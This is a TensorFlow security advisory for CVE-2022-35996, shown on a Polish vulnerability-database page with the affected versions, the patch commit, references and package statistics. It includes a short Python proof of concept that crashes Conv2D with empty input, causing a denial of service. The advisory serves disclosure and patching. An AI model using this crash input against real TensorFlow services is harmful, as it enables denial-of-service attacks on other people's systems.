TensorFlow vulnerable to floating point exception in `Conv2D`
Impact
If Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.
import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
input = np.ones([1, 0, 2, 1])
filter = np.ones([1, 1, 1, 1])
strides = ([1, 1, 1, 1])
padding = "EXPLICIT"
explicit_paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
data_format = "NHWC"
res = tf.raw_ops.Conv2D(
input=input,
filter=filter,
strides=strides,
padding=padding,
explicit_paddings=explicit_paddings,
data_format=data_format,
)
Patches
We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Jingyi Shi.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-cpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-gpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
Odnośniki
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-q5jv-m6qw-5g37
- https://nvd.nist.gov/vuln/detail/CVE-2022-35996
- https://github.com/tensorflow/tensorflow/commit/611d80db29dd7b0cfb755772c69d60ae5bca05f9
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://pypi.org/project/tensorflow-gpu
- https://github.com/advisories/GHSA-q5jv-m6qw-5g37
- https://pypi.org/project/tensorflow
- https://pypi.org/project/tensorflow-cpu
- Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H- Słabość (CWE)
CWE-369- Platforma
- Python (PyPI)
- Paczka
tensorflow, tensorflow-cpu, tensorflow-gpu- Ujawniono
- 16.09.2022
- Aktualizacja
- 11.10.2026 14:17
Źródła i licencje
OSV / GitHub Advisory Database - PYSEC-2026-1029 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3228 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-q5jv-m6qw-5g37 - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3361 - PyPA Advisory Database; CC BY 4.0
Historia podatności: tensorflow
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 433
- Pierwsza → ostatnia
- 04.2019 07.2024
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Krytyczna 6
- Wysoka 112
- Średnia 210
- Niska 105
Ujawnienia w latach
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
TensorFlow vulnerable to floating point exception in `Conv2D` ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.